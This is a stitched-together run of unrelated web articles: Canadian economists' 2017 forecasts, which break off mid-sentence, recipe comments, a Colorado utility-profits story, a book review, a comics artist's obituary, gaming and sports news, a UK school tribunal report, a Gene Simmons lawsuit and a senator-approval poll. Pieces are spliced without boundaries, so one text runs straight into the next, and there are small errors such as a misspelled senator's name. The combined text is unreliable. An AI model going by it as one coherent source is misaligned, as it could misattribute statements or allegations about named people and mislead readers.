What higher bond yields mean for housing Martin Pelletier, managing director, TriVest Wealth Counsel Ltd. Twitter: @TriVestWealth “In our opinion, the Government of Canada bond yield is the chart that investors should keep a very close eye on in 2017. As you can see, there has been a strong correlation between the direction of bond rates and Canadian housing prices, which makes sense given the Canadian banks base their mortgage rates primarily on the bond market taking a spread between their lending and borrowing rates. The problem is that the U.S. bond market collapsed immediately following Trump’s presidential win, and Canadian bonds followed suit with the five-year government of Canada bond yield nearly doubling from its June lows. Canadian banks quickly reacted with the Royal Bank of Canada and the TD Bank immediately raising some of their mortgage rates. Overall, this is not a favourable development for the Canadian economy, which is heavily reliant on the debt-heavy, spending-friendly consumer and a robust housing market that combined has more than offset the impact from falling oil prices. In particular, Canadian household debt has now exceeded the size of its economy for the first time in history and according to TD Bank, the real estate market represents over half of the country’s GDP growth. Therefore, higher borrowing costs is the last thing the economy needs at the moment.”
The lag in infrastructure spending Randall Bartlett, chief economist, Institute of Fiscal Studies and Democracy, University of Ottawa. Twitter: @Randall_Bartlet “According to Infrastructure Canada, since the Budget Implementation Act 2016, No. 1, was passed on June 13, 2016, the Government of Canada has approved nearly $4.3 billion in infrastructure spending. This is a hefty sum by any measure, already outpacing the amount of infrastructure spending approved by the federal government over the same period in 2009—when the Canadian economy was in much more dire straits than it is today. However, very little of this money looks to have made its way into actual construction activity. But this should come as no surprise. In 2009, it took roughly half a year for construction on federally supported projects to begin after the funds were approved, and there is no reason to think that this time would be different. History suggests that much of the near-term impact will be concentrated in 2017 and 2018, with 2016 seeing little boost. This spells trouble for the messaging of both the federal government and Bank of Canada, the latter institution having adopted the Department of Finance’s economic impact forecasts without caveat. Does the resulting weaker-than-expected growth therefore mean a rate cut is likely in the not-too-distant future? Probably not. Instead, one should anticipate more mixed messages, and metaphors, from the Bank of Canada to explain the result.”
New leaders address slow growth in the G7 Philip Cross, former chief economic analyst at Statistics Canada, senior fellow at the Macdonald-Laurier Institute “A wave of new G7 leaders took power as the global recession began in 2007, promising to fix what ailed the economy. Instead, average annual real GDP growth in the G7 has languished at 0.9 per cent over the past decade, compared with 2.4 per cent before the crisis (which is the straight line in the graph). Not surprisingly, most of these leaders (Barack Obama, David Cameron, Stephen Harper, Silvio Berlusconi, inevitably François Hollande, and possibly even Angela Merkel) or their parties are being replaced by a new generation of leaders who promise to reignite growth. Time will tell if the new crop have found the elixir for faster growth in policies ranging from larger budget deficits to trade restrictions and less regulation, especially since some will be doing the opposite of what others are trying to achieve.”
Rising mortgage rates will squeeze some households Brett House, deputy chief economist, Scotiabank. Twitter: @BrettEHouse “The ratio of Canadian household debt stocks to personal disposable income, now at about 168 per cent, has set a new record nearly every quarter in recent years. Concern about Canadians’ stretched balance sheets has been muted, however, by the dampening effect of low interest rates on the cost of servicing this debt. Low rates have mainly reduced interest payments on relatively long-term mortgage debt, but they haven’t had much impact on the burden of staying current on shorter-term borrowing, such as credit cards and auto loans, which has generated more than half of Canadians’ debt-service payments since the 1990s. Total debt-service payments are already near historically high levels compared with personal disposable income, as shown in the chart above. With mortgage rates on the rise, households will find it tougher to stay up to date on their borrowing obligations without dipping into their savings. Fortunately, this cushion has been boosted a bit by robust financial markets, the rise in the value of foreign holdings provided by the weaker loonie, and strong home prices, which have together contained the ratios of household debt both to total assets and to total net worth. Taken as a whole, Canadians can manage an increase in interest rates, but individual households that lack liquid savings may find themselves increasingly squeezed.”
M&A and the collapse of business investment Jordan Brennan, Unifor Economist. Twitter: @JordanPWBrennan “On account of its close association with job creation and productivity improvement, fixed asset investment is perhaps the key determinant of economic growth. Economists have been puzzled why the investment share of national income (broken line) has contracted in recent decades despite ostensibly pro-business policies such as corporate income tax cuts and trade liberalization. It turns out that Canada does not suffer from a shortage of investment; instead, resources have been diverted from job-creating industrial expansion in favour of mergers and acquisitions (solid line), and the latter is wholly redistributive in its implications. The explosion of M&A since 1990 has indirectly depressed GDP growth, but it has also fuelled income inequality. Sustained periods of M&A lead to concentrated market structures, enhanced market power and enlarged earnings. The historically unprecedented concentration of income among large firms has translated into soaring payouts to executives (salaries and stock options) and to shareholders (dividends and stock repurchase). In this manner, elevated M&A simultaneously slows growth and exacerbates inequality. Furthermore, major merger waves have always ended in a great crash, which is why the relative scale of merger activity in 2015 should concern us. Comparable levels were seen in 1928, 1999 and 2007; dates which are infamous for preceding the Great Depression, the Tech Wreck and the Great Recession, respectively. Let’s hope the current merger wave has a more cheerful ending.”
New U.S. tariffs would hurt Canadian and American workers Danielle Goldfarb, director of the Conference Board of Canada’s Global Commerce Centre. Twitter: @DIGoldfarb “With Donald Trump’s election, Canada’s longstanding and hard-earned access to the world’s largest market is under serious threat. New tariffs, increased U.S. requirements to buy only American products and services, and the possible pull back of NAFTA are just some of the measures that could negatively impact Canadian living standards and global economic stability. But the impact on U.S. economic interests would also be devastating. This graphic from Washington’s Peterson Institute shows the impact president-elect Trump’s trade policies could have on American workers and U.S. economic interests. Since Canadians and Americans essentially make things together in a shared supply chain, imposing trade barriers on Canada in particular would also lead to U.S. job loss. Trump’s priority is American jobs, so Canada’s best chance to defend its interests will be to ensure that American businesses and workers aggressively lobby their representatives to ensure these measures do not come to pass.”
The danger in non-G.A.A.P. financial reporting Anthony Scilipoti, CEO, Veritas Investment Research “The number of companies reporting non-GAAP (generally accepted accounting principles) earnings is on the rise. It is wreaking havoc on analyst’s investment models, and investors’ confidence in financial reporting. A number of class actions are under way that allege the problems with non-GAAP measures. Canada is getting worse than the U.S. “
Protectionism on the rise Paul Kedrosky, venture capitalist, financial commentator. Twitter: @pkedrosky “I am expecting a wave of trade protectionism worldwide in 2016, and I’m expecting the U.S. to reappear on this graph after decades of broad tariff reduction. As a technology investor, I am particularly focused on what happens to the fraught relationship between China and the U.S., with new tariffs on U.S. imports from China likely to be hit by countervailing ones. Canada, as a largely open economy, could easily become a drive-by victim of retaliatory tariffs, much like the U.S. technology sector. Both Canada and U.S. tech getting waxed because of a Trump administration fondness for protecting, say, U.S. furniture manufacturers against their Chinese counterparts, would be true 2017 economic ignominy. “
Will sole-business owners start to hire? Ted Mallett, chief economist, Canadian Federation of Independent Business. Twitter: @cfibeconomics “Tomorrow’s jobs will come from tomorrow’s employers. Growth in the number of incorporated self-employed employers has only been modest, averaging only 1.3 per cent per year since 2000. Half of that came from only two sectors: construction and health care. During the same period, the numbers of self-employed on their own have grown 4.3 per cent per year, almost doubling their numbers. For 2017, we wonder if the economic and policy environment will be more encouraging for sole business owners to hire help for the first time.”
Canada needs Alberta business investment to recover Mark Milke, Calgary author, columnist and keynote speaker. Twitter: @MilkeMark “This chart tracks private sector investment in non-residential structures, machinery and equipment—in essence, business investment in the ‘stuff’ needed to operate. It includes everything from investments in Alberta’s oil sands to an automotive factory in Ontario or a mine or warehousing facility in Quebec. The chart shows a dramatic drop-off in private sector investment in Alberta between 2014 and 2015, a drop of 25 per cent or $20 billion. It came in response to the steep decline in oil prices between those two years. Forecasts for Alberta for 2016 estimate a continuing decline. The Alberta numbers matter because for years, private sector business investment in Alberta helped drive the Canadian economy ahead, more so than any other province. Relative to its population, Alberta in most years provided an outsized share of Canada’s new jobs and thus recorded the lowest annual average unemployment rate and despite the highest participation rate. Alberta was the only province where workers without a high school education faced unemployment rates in the single digits. Alberta recorded all such numbers despite massive in-migration. Alberta’s recovery of such business investment thus matters to the Canadian economy at large and to job-seekers across the country.”
Canada’s gig workers Linda Nazareth, RelentlessEconomics.com. Twitter:@relentlesseco “Here is the graph I would like to show you: the number of gig workers in Canada. I know they are there. More and more, Canadians do not have long-term, single-employer jobs but rather move from gig to gig, sometimes juggling several at the same time. The trouble is, gig work as a reality is pretty new to all of us, so neither Statistics Canada nor anyone else tracks how many gig workers there are out there. So since there is some overlap between gig workers and the self-employed, I have settled for showing a graph of the self-employed. Interestingly, the percentage of Canadians in this category has really not changed much over the past few years, although it did get a bump during the downturn in 2008-09, although not as big as it did during the recession of 2000. There are other gig workers. Some pick up one contract after another with maybe some involuntary unemployment in-between, others are contract workers who drive for Uber on the side or fiftysomethings who take on work at their old employers occasionally, but who are not employees. All may be simply counted as ‘working’ when they have a job, and ‘unemployed’ when they are looking for one. We do not have a good count of how many there are but we should: gig work is the way of the future and will affect everything from government policy to how banks lend money. The first step in dealing with this new reality means knowing how many people are already immersed in it.”
Will the OPEC oil deal hold? Mike Moffatt, assistant professor, Ivey Business School. Twitter: @MikePMoffatt “Now that OPEC has reached a deal to cut oil production, the real test begins: Can the various players abide by it? Will OPEC respond to president-elect Trump’s vows to achieve energy independence by keeping supply levels high, and prices low, in order to deter the U.S. from increasing production? Should OPEC keep the taps turned on, expect WTI to plunge well under $40. Given Canada’s reliance on oil exports, and the relationship between oil prices and the loonie, we need to keep our attention focused on OPEC.”
A low dollar may not help Canadian manufacturing Livio Di Matteo, professor of economics, Lakehead University “A high Canadian dollar is often blamed for Canada’s manufacturing malaise and with its recent depreciation there is hope that a renaissance will be sparked in Canadian manufacturing. The long-term evidence suggests otherwise. While Canada’s manufacturing output per capita has grown in the long term, manufacturing’s share of national output has fallen quite steadily from 27 per cent in 1950 to 11 per cent today. Our dollar in terms of its exchange rate with the U.S. dollar (our major trading partner) was relatively stable from 1950 to the late 1970s, and then began depreciating from the mid 1970s to the early 2000s. It then appreciated again during the commodity boom of the 21st century and has been depreciating recently. Fluctuations in our currency’s value (relative to the U.S. dollar) may have some short-term effects on manufacturing production. The period from the late 1970s to the early 1990s does seem to have seen some stabilization of the share of manufacturing in our GDP. However, Canada’s manufacturing decline is rooted in long-term economic factors such as productivity growth—which slowed substantially after 2000—and the trend of developed economies around the world toward service production.”
The interest rate gap between Canada and the U.S. Craig Wright, chief economist, RBC “The great monetary experiment continues in 2017, posing risks for Canadian financial markets. We have never seen so many central banks so accommodative for such a long period of time. Currently economies representing 25 per cent of the global economy are operating with negative overnight interest rates. The U.S. Fed is poised to move more aggressively against this trend of central bank accommodation with at least a couple of rate hikes expected in 2017 and risks to the upside if the new administration moves significantly down the tax cut path. In contrast the Bank of Canada is expected to keep overnight interest rates unchanged this year, leading to a widening in the gap between overnight interest rates in the two economies and posing some risks for the Canadian dollar and longer-term interest rates. This divergence in monetary policy will grab the attention of the media and markets alike as they assess how desirable and sustainable such a gap is between these two large trading partners.”
Could we see a national housing market correction? Hilliard MacBeth, author of “When the Bubble Bursts: Surviving the Canadian Real Estate Crash”. Twitter: @hmacbe “2017 may see house prices correcting on a national basis due to a potential increase in interest rates and regulatory moves tightening available credit. After |
of white wine vinegar and some water. I agree with the other posters who... Read more
CHOUGHTON 0 5
Great recipe. My 8 year old son loved it too. Read moreEnvironmental Entrepreneurs
A recent report from Xcel Energy detailing earnings on electric energy in Colorado shows the utility exceed the maximum profit set by the Public Utilities Commission (PUC) by more than 11 percent. Despite excess earnings for the company’s Colorado subsidiary, known as the Public Service Company of Colorado (PSCo), a May 1 statement from Xcel says the utility plans to file for future electric rate increases in the state in 2015 and beyond.
Documentation compiled by local Xcel watchdog agency Empower Our Future shows that Xcel has asked for, and been granted, six back-to-back rate increases since 2003. With record profits in 2013 and the company’s plan to seek a seventh increase in 2015, some citizens are raising questions about the validity of the utility’s requests.
“I think the overall allocation of profits for utilities probably needs to be reviewed — are we setting up incentives correctly so that we get the behavior we want out of the regulated monopoly that provides us with power?” says Boulder City Council member Sam Weaver, who acted as the main author of the report from Empower our Future prior to his election to Council last year.
Weaver says he used federal 10-K financial filings and public reports from Xcel to compare the utility’s sales and generating capacity to their pre-tax profits from 2003 to 2012.
“When you look through the [U.S. Securities and Exchange Commission’s] 10-K forms where [Xcel/PSCo] file their peak capacity [in megawatts] and they files sales in terms of kilowatt hours, it’s pretty straightforward,” says Weaver. “Demand is not growing. Even though they are not providing us with additional sources of electricity or additional capacity, Xcel is getting huge increases in profits.”
According to the Empower our Future report, the Colorado division’s pre-tax profits have grown from $316 million to $691 million between 2003 and 2012. Weaver says the company filed more than 700 million in pre-tax profits in 2013.
In a May 1 press release, Xcel acknowledged that as a result of their last rate increase — a first-time, threeyear rate plan that set up tiered increases from 2012 to the end of 2014 — the company has asked the PUC for permission to credit customers across the state with $45.7 million. So beginning Aug. 1, residential customers in Colorado would see a $1.17 credit per month while small business owners will see a $2.33 credit each month.
The three-year agreement raised rates by a total of $114 million.
“At the time that this three-year plan was approved, it was approved as part of a settlement agreement that was reached by pretty much every party
in the case: Xcel, PUC staff, the [Office of ] Consumer Council, a number of medium and large electric consumer groups and trade groups, and all of them agreed this was a fair resolution to the case and provided fair rates to the company and rate payer,” says PUC spokesman Terry Bote.
Bote says the commission created the profit-sharing mechanism as a protection, for customers when the utility exceeds their target profit.
When asked how he would respond to criticism of the record profits stemming from the multi-year agreement, Mark Stutz, a spokesperson for Xcel/ PSCo, says that “it’s difficult to predict some aspects of our business in terms of weather, in terms of what your expenses will be.” Stutz reiterates Bote’s statement that the authorized profits from the multi-year settlement were found to be “prudent” by all parties involved, and the profit-sharing mechanism had not been so well defined in previous settlements.
Regarding the utility’s plan to file for future rate increases, Stutz says it would be the company’s preference to have another multi-year plan, “because we think they’re good for the customer and good for the utility.”
While Colorado’s Consumer Council — an advocate for customers of electric, gas and telecommunications businesses — agreed to the multi-year rate increase plan, director Cindy Schonhaut says it’s not in the public’s best interest.
“We don’t like multi-year plans in this office,” says Schonhaut. “We think [multi-year plans] allow for this opportunity to overearn and later keep some of [the excess profits] and then give refunds, which is not in the longterm consumer interest. [The longterm consumer interest] is to pay the right rate at the time they are billed.”
Weaver says that the system that governs the profit-making of the utility seems “a little broken” to him.
“And it’s really not simply Xcel’s fault. It’s a matter of [how] Xcel, PUC, and the state legislature has set up a series of incentives that allows Xcel to make increasing profits as it makes additional investments in generation faculties,” says Weaver. “Xcel has every incentive to build more whether or not additional generation is needed.”
The last coal-fired power plant built in Colorado, the Comanche 3 plant in Pueblo, was heavily criticized by environmental groups who questioned the facility’s impact on emissions and surrounding wilderness.
“The tragic part of all of this is that Xcel’s back-to-back rate increases during the worst economic crisis in a century have taken hundreds of millions of dollars from their ratepayers, including businesses both large and small as well as fixed and low-income ratepayers, to pay for a billion-dollar coal plant that never should have been built — a billion dollar toxic and polluting mistake that is rapidly becoming a stranded asset,” longtime Xcel watchdog Leslie Glustrom said in an email to the Boulder Weekly.
Xcel says that future rate increases in Colorado will go toward completion of infrastructure investments, “including the estimated $1 billion investment in the Colorado Clean Air, Clean Jobs Act,” which aims to reduce carbon dioxide emissions by about 28 percent.
Property tax expenses and “other cost changes” will also be covered by rate increases, according to the utility.
“If the legislature was doing to taxes what the PUC has been doing to electric utility rates, all hell would break loose,” Glustrom added.
Respond: letters@boulderweekly.comI have read more of Ryan Britt’s writing than any other person on this planet. This makes me the most qualified person—ever—to review Ryan’s first book, a collection of essays titled Luke Skywalker Can’t Read.
I believe that Pulitzer Prize finalist Karen Russell once summarized the former Tor.com staff writer as “an uncontrolled experiment”—perhaps during a speech at the U.N. I don’t know—so it is with this in mind that you must confront Ryan and whatever lizard-person theory he is writing about this week. Be on guard, but also, be accepting of the spaghetti pile of ideas that he brings to you. The plating is unorthodox but the meal is supremely tasty. (He put cheese in it.)
I personally spent 57 years here at Tor.com editing Ryan’s essays, listening to his daily pitches, and sharing a small office with him. This often meant listening to him explain how director and screenwriter Nicholas Meyer is responsible for the creation of all science fiction, or how Joss Whedon actually just uses the same 5 lines of dialogue in all of his projects and no one’s ever noticed, or how I should photoshop Data-as-Sherlock-Holmes into the BBC’s Sherlock promo art. What I’m trying to get at here is that Ryan is dyspeptically annoying. He makes your hair fall out. He makes you want to go to war.
I think this is what readers will initially feel as they first read Ryan’s memoir/essay collection/fan theory book, and the collection starts off by immediately addressing this perception. “This book isn’t meant to be the final word on anything” goes the Author’s Note, before diving into the first essay “Out of the Sideshows,” which looks at the emergence of geek culture into the mainstream. He recalls his years in junior high and the nigh-stereotypical stigmatization that came with being a geek. “If there’s a club where everyone agrees on being normal together, I wasn’t in it,” Ryan says. While he’s recalling his years in junior high, he’s also commenting on the discourse within present day geek culture and how that discourse is changing as geek culture becomes—and stays, judging by the fact that we’re in Year 8 of the Marvel Cinematic Universe and Year 6 of Game of Thrones—mainstream pop culture. Certain ideas enjoy widespread acceptance in geek culture: Wolverine is cool, Han shot first, Harry Potter is the one who kills around here… To challenge, or even play with, this sort of gospel invites annoyance.
Ryan does this effortlessly. I don’t think he knows how not to, honestly, even though he admits in his essay “I Know It’s Only Science Fiction, But I Like It” that he didn’t always feel the need to challenge his fellow geeks. His essays for Tor.com, however, are always based in this need to play with geek gospel; to hold it up to a different lens. So during his time in the office here, whenever he would pitch a robot-related or Prince Xizor-based essay idea I would encourage him to explore that idea with one caveat: He should anticipate the criticism his idea would receive and try and find evidence to address that criticism—that plot hole really—in his essay. That way a reader wouldn’t stop reading an essay to nitpick and would instead absorb the entire perspective that Ryan was putting forth.
The beginning of Luke Skywalker Can’t Read concerns this “anticipation of argument” that both he and I perceive in geek discourse. And it’s a really enjoyable read, not just because Ryan is funny, but because he doesn’t insist on looking at geek discourse in solely binary terms. Luke Skywalker Can’t Read, even though it argues that Luke Skywalker can’t read, doesn’t insist that there is an outright incorrect or correct way to talk about the pop culture that we love. He anticipates potential arguments, yes, not in order to shut them down, but to make his perception clearer.
As readers, he argues, our relationship with pop culture and geek icons goes deeper than right-and-wrong. These are stories and characters that we defend through argument because they impart a sense of fun more potent than anything else. In the memoir portions of Luke Skywalker Can’t Read, Ryan traces the origins of his own love of geeky stuff from his childhood, through adolescence, into his teenage and college years, and into adulthood. Ryan’s love changes as he does: It expands, it calcifies, it gets analytical, it softens, it gets drunk enough to allow me to pick him up one night at Professor Thom’s… In short, Ryan ends up discovering how he learned to love what he loves. Just why is he so enamored by Bram Stoker’s version of Dracula? Or Sir Arthur Conan Doyle’s version of Sherlock Holmes? Is he just putting on intellectual airs? (Sometimes, he admits.) Or is there something else?
Usually, there’s something else. For a long time I was afraid to read my review copy of Luke Skywalker Can’t Read, because I knew that once I did, my mental image of Ryan Britt as my friend would change. In my own life, exploring why I love what I love has ultimately meant exploring my sense of self. This same journey plays out for Ryan all throughout Luke Skywalker Can’t Read. His sense of fun, his overwhelming curiosity, not only reveals new ways of considering Star Wars, Sherlock, or Back to the Future, but also Ryan himself.
And that’s the point, Ryan argues. It’s no fun to just parrot what everyone else is saying. Go deep. Find what makes Firefly or The Lord of the Rings or Torchwood: Miracle Day fun (or not fun) for YOU. Then tell your friends, because hey, maybe it’ll be fun for them, too.
This is something that Ryan had to teach me, in person, when we first started working together all those centuries ago. I had to learn to stop rolling my eyes at his latest theory and just listen; have faith that his love for something like, say, Star Wars, was just as deep and legitimate as mine. I’m glad I did. Not only did I gain one hell of an uncontrolled experiment for a friend (and a Ric Olie action figure) I learned to have way more fun with the pop culture that I love. And while I can’t promise that this will happen to you, I promise that it will happen to you.
So go buy Ryan’s book! He’s fun.
Chris Lough writes for Tor.com and will ski on your lunch if he wants, Ryan.Another worthy contender for the title of Oldest Comic Book Artist was Fred Kida, who drew the Airboy comic books beginning around 1940 and who worked in comics (books and strips) until around 1987. Mr. Kida was born December 12, 1920, making him only a few months younger than Ken Bald. Sad to say, Mr. Kida died last week on April 3. He remains a nominee for the Hall of Fame in this year's Will Eisner Comic Industry Awards.
Airboy was published by Hillman and he also worked on their other titles, including romance and crime comics until around 1948. He spent a few years working for Lev Gleason Publications, mostly on crime and romance books, then around '52 began working for the company we now know as Marvel. He was a good, dependable artist who drew beautiful women, handsome heroes and some of the ugliest villains in comics. He also intermittently assisted Will Eisner on The Spirit.
Mr. Kida worked as an assistant/ghost on a number of syndicated newspaper strips, including Flash Gordon, for which he eventually got credit. He left Marvel around 1956 when the company downsized and ceased having work for most of their freelancers. In the seventies, Kida returned there and worked on any number of their best comics, including a stint drawing the newspaper strip of The Amazing Spider-Man. More information on his life is available in this newspaper obit notice. It's sad to lose a fine artist like that.A couple of hours ago, we shared with you a new trailer from Watch Dogs that was supposedly from the PC version. When we first took a look at it, we were kind of puzzled with its visuals. While it was great finally witnessing the PC version up and running, POM was absent, visuals looked washed out, and most of the scenes reminded us the PS4 trailer that was released a while back. Well, it seems that this PC trailer was actually packed with PS4 footage.
NeoGAF’s member ‘OtaQ‘ (who was present in a previous video Q&A talk with Ubisoft) claimed that what was featured in this latest trailer was actually from the PS4 version.
“First of all, the gameplay IS NOT PC, it is PS4. This is no rumor or my opinion, I absolutely know it for sure” said OtaQ and continued:
“You can absolutely trust me about it. Since I´m the game journalist they talk about in WatchDogs Q&A“
Now we wouldn’t be sharing something like that if it wasn’t an email we got from PCGamesHardware a couple of hours ago. According to the German website, the current video will be taken down in order to edit some things that weren’t okay for Ubisoft due to a communication fail.
We’ve contacted PCGamesHardware and will update this story as soon as we hear back from them.
[UPDATE]
PCGamesHardware has confirmed that what was shown was from the PS4 DevKit and not from the PC version. Naturally that’s not PCGH’s fault as Ubisoft initially claimed that the video was from the PC version.
“This video doesn’t make us happy. We all know that it crucial to know where the footage originates from. So we check with Ubisoft and got the info that this PC footage. But it isn’t”.Syracuse, N.Y. — The ACC followed musicians, the NBA and the NCAA on Wednesday, when the league announced that it would pull its football championship out of North Carolina due to the state's controversial House Bill 2.
The ACC will move every championship event during 2016-17 that isn't played on a college campus with football being the most high-profile and most impactful. The decision will also impact women's basketball, tennis, swimming, golf and baseball. Sites for those championships have not been determined. The men's basketball tournament was already scheduled to be played in Brooklyn.
The league decided that it will allow ACC championship events that were scheduled to be held on college campuses in North Carolina.
"As members of the Atlantic Coast Conference, the ACC Council of Presidents reaffirmed our collective commitment to uphold the values of equality, diversity, inclusion and non-discrimination," the ACC said in a statement from the league's Council of Presidents. "Every one of our 15 universities is strongly committed to these values and therefore, we will continue to host ACC Championships at campus sites. We believe North Carolina House Bill 2 is inconsistent with these values, and as a result, we will relocate all neutral site championships for the 2016-17 academic year. All locations will be announced in the future from the conference office."
Since it was passed, House Bill 2 has been protested by a number of high-profile individuals and groups. Their protests have largely come in the form of boycotts, attempting to force change in the laws by hurting the state financially by moving or cancelling events.
Musician Bruce Springsteen cancelled a show in North Carolina in April, while the NBA chose to move its All-Star Game in July. The ACC's need to do something was telegraphed earlier this week when the NCAA announced on Monday that it would pull its events from North Carolina.
The league's presidents came to their decision during conversations on Wednesday morning and over the course of two days of communication.
:"The ACC presidents engaged in a constructive, wide-ranging and vigorous discussion of this complex issue over the past two days," said Clemson's James Clements, the chair of the group. "The decision to move the neutral site championships out of North Carolina while HB 2 remains the law was not an easy one but it is consistent with the shared values of inclusion and non-discrimination at all of our institutions."
While discussion of HB2 has largely focused on gender and the use of bathrooms, the state law, which was passed in March, also nullified the ability of cities to enact legislation to protect the rights of gay and transgender people. For instance, cities could no longer enact legislation that would keep employers from hiring or firing employees based on gender or sexual orientation.
Contact Chris Carlson anytime: Email | Twitter | 315-412-1639.Last updated at 21:50 20 February 2008
A prestigious Islamic school in London was forced to shred 2,000 textbooks used to poison pupils' minds with lessons of hate, a former teacher claimed yesterday.
Colin Cook, who taught English at the King Fahad Academy for 18 years, told a tribunal how "incompetent" Ofsted inspectors reported that the school's teaching of Islamic studies was "mostly good".
But their report was wildly inaccurate, he said, because pupils as young as five were being taught by rote from Arabic textbooks describing Jews as "monkeys" and Christians as "pigs".
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Mr Cook said that when he exposed the racist teaching, the school's head Dr Sumaya Alyusuf lied on television, insisting that hateful passages had never been taught.
Under public pressure the Academy eventually agreed to destroy 2,000 books but photocopied them first for future use, he told the tribunal.
The school, in Acton, West London, opened in 1985 for the children of Saudi diplomats and is funded and controlled by the Saudi government.
Its 1,250 pupils have included the five children of jailed claw-handed cleric Abu Hamza and those of Abu Qatada, who was said to be Osama Bin Laden's right-hand man in Europe.
Mr Cook, 58, said that when he queried how the preachers could be paying school fees when they were said to be on state benefits, he was told to mind his own business.
Giving evidence to the hearing in Watford, Mr Cook claimed the school was seen as an extension of the Saudi Embassy rather than part of the UK, with Saudi teachers even enjoying diplomatic immunity.
He said some pupils made "inappropriate" remarks about killing Americans and praised the 9/11 attacks.
"When I heard such nonsense I challenged and tried to reason it through with the pupils," he added.
He said that misbehaviour by Saudi pupils was sometimes overlooked.
A school trip to Arsenal Football Club's museum in December 2005 ended in chaos when some King Fahad pupils chanted "Saudi, Saudi, Saudi" and fought with non-Saudi pupils, Mr Cook told the hearing.
"Apparently we were the first school ever to be thrown out of the museum, which was humiliating. None of the Saudi pupils was challenged over their behaviour by management."
Mr Cook, of Feltham, South London, is claiming unfair dismissal, race discrimination and victimisation, which the school denies.
He was earning £35,000 a year and is seeking £135,000 in compensation for lost earnings, injury to feelings and aggravated damages.
The school has vigorously denied encouraging any form of racial hatred. It insists that the offending passages in the books were "misinterpreted".
After Mr Cook's allegations in February last year, Dr Alyusuf went on BBC2's Newsnight and told presenter Jeremy Paxman that she was aware of the books but refused to withdraw them because they had "good chapters that can be used by the teachers".
Mr Cook told the hearing: "Dr Alyusuf simply lied about her knowledge of the contents of the books and tried to pretend that the books were not taught in the school. She failed to repudiate the racist views expressed in the books.
"The truth is she cannot go against the Saudi ministry of education. She is their puppet."
Mr Cook said the Ofsted inspection in March 2006 failed to identify major issues including parental complaints, unqualified teachers and indiscipline.
He added: "The Ofsted report was very inadequate. This is partly due to what the Academy did not tell the inspectors and partly due to, at best, incompetence by Ofsted."
He says he was sacked on trumpedup grounds in 2006 after he blew the whistle on the school for covering up cheating by pupils in a GCSE exam.
"In any normal workplace, an employee would not be sacked for whistle-blowing or indeed treated as a second-class citizen for not being Saudi Arabian," he said.
"However, as the head of human resources put it, 'This is not England. It is Saudi Arabia'."
He said he had to teach 28 lessons a week when Saudi colleagues had between three and 12. He said that when he realised the school was not going to carry out a proper inquiry into the alleged GCSE cheating, he took his complaints to exam board Edexcel.
The school claimed Mr Cook failed to observe proper procedure and fired him for gross misconduct.
The hearing continues.A radio and television broadcaster on Friday, Dec. 15, sued musician and Rock & Brews restaurant co-founder Gene Simmons, alleging Simmons made unwarranted sexual advances during an on-camera interview Nov. 1 at the restaurant’s San Manuel Casino location in Highland.
The lawsuit, filed in Los Angeles Superior Court, alleges the plaintiff, identified as “Jane Doe,” arrived with her crew at the restaurant, which was celebrating its recent expansion at the casino, to interview Simmons and his longtime Kiss bandmate and Rock & Brews co-founder, Paul Stanley.
According to the lawsuit, during the interview, which occurred on a couch in a designated “green room,” Simmons reached over and grabbed the woman’s hand and “forcefully placed it on his knee and held it on his knee.” The lawsuit states the woman immediately removed her hand from Simmons’ knee.
Simmons, the lawsuit states, continued his “unwanted, unwarranted sexual advances” by reaching for the woman’s hand again.
“Defendant Simmons turned standard interview questions into sexual innuendos, which made plaintiff Doe extremely uncomfortable,” according to the lawsuit, noting that Simmons grabbed the woman’s hand again, made a cooing sound and said she “must use lotion” before making another sexual innuendo. He then “forcibly flicked/struck” the woman in the middle of her throat, then provided an “incoherent explanation” for doing it after noticing the woman’s shock, according to the lawsuit.
The woman’s attorney, Willie W. Williams, would not reveal where his client worked. The lawsuit identifies her as a “long-time on-air personality for a local rock station.”
“My client is embarrassed and humiliated by the incident with Mr. Simmons,” Williams said in a telephone interview Friday. He said his client is not seeking publicity and wished to remain anonymous.
“She filed suit because she wanted to make a strong statement that this behavior is unacceptable and she wants to see an end to this type of behavior,” Williams said.
Following the Nov. 1 interview, the woman posed with Simmons for a promotional photograph. That’s when Simmons “reached toward Plaintiff Doe’s buttocks and touched it,” according to the lawsuit.
“Again, Plaintiff Doe kept her composure and discreetly moved away,” the lawsuit states. “They took the pictures, but Plaintiff Doe declined the invitation to ‘stay around.'”
The lawsuit also names as defendants: Rock & Brews Holdings, LLC., Rock & Brews Holdings, Inc., Rock & Brews, LLC., and Rock & Brews Franchising, LLC. It alleges sexual battery, gender violence, battery, and assault, among other allegations.
Rock & Brews spokeswoman Terry Wills couldn’t immediately be reached for comment Friday. Representatives for Simmons also could not immediately be reached.
The allegations come amid a spate of sexual abuse claims against some of the entertainment and news industries’ most powerful men, starting in October with movie mogul Harvey Weinstein, co-founder of Miramax films. It snowballed from there, with allegations becoming so numerous it spurred the #MeToo social media hashtag.Bernie Sanders is the most popular US senator in their home state in the country, according to a new survey of voters in individual states. Elizabeth Warren? The reaction is more mixed.
The latest Morning Consult survey of the approval rating of all 100 senators in their home states showed that residents of Vermont and Maine really like their senators, while those in other New England states, including Massachusetts, give their senators a less enthusiastic approval.
Meanwhile, Kentucky’s Mitch McConnell, the Senate Republican leader, is the least popular among voters in his home state.
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Other senators in the top 10, approval-wise, include Vermont’s second senator, Patrick Lahey and both Maine senators, Susan Collins and Angus King. While Sanders can use his 75 percent approval rating at home to look towards another potential presidential campaign, Collins’s high approval rating might matter more at the moment, given her swing-vote role in the Senate’s health-care debate.
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The rankings were compiled from nearly 175,000 interviews with registered voters across the country from April through June 2017. The survey asked if they approved or disapproved of their senators’ job performance.
Massachusetts voters gave Democratic Senator Elizabeth Warren a 57 percent approval rating, with 35 percent disapproving. That’s essentially unchanged from the spring when a similar survey showed Warren had a 56 percent approval rating, with 38 percent disapproving.
Massachusetts residents gave the state’s other senator, Ed Markey, a 55 percent approval rating, with 22 percent disapproving. Nearly 1 in 4 of Markey’s constituents said they didn’t know how they felt about him.
In New Hampshire, residents gave nearly identical approval ratings to senators Jeanne Shaheen (54 percent) and Maggie Hassan (52 percent). In Rhode Island, both senators were around the critical 50-percent mark in approval ratings. Jack Reed had a slightly higher rating with 51 percent; fellow Democrat Sheldon Whitehouse was at 46 percent.
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Overall American voters soured slightly toward their home-state senators, with half of the 100 senators becoming less popular in the last three months. The average drop in approval ratings was 3 percentage points.
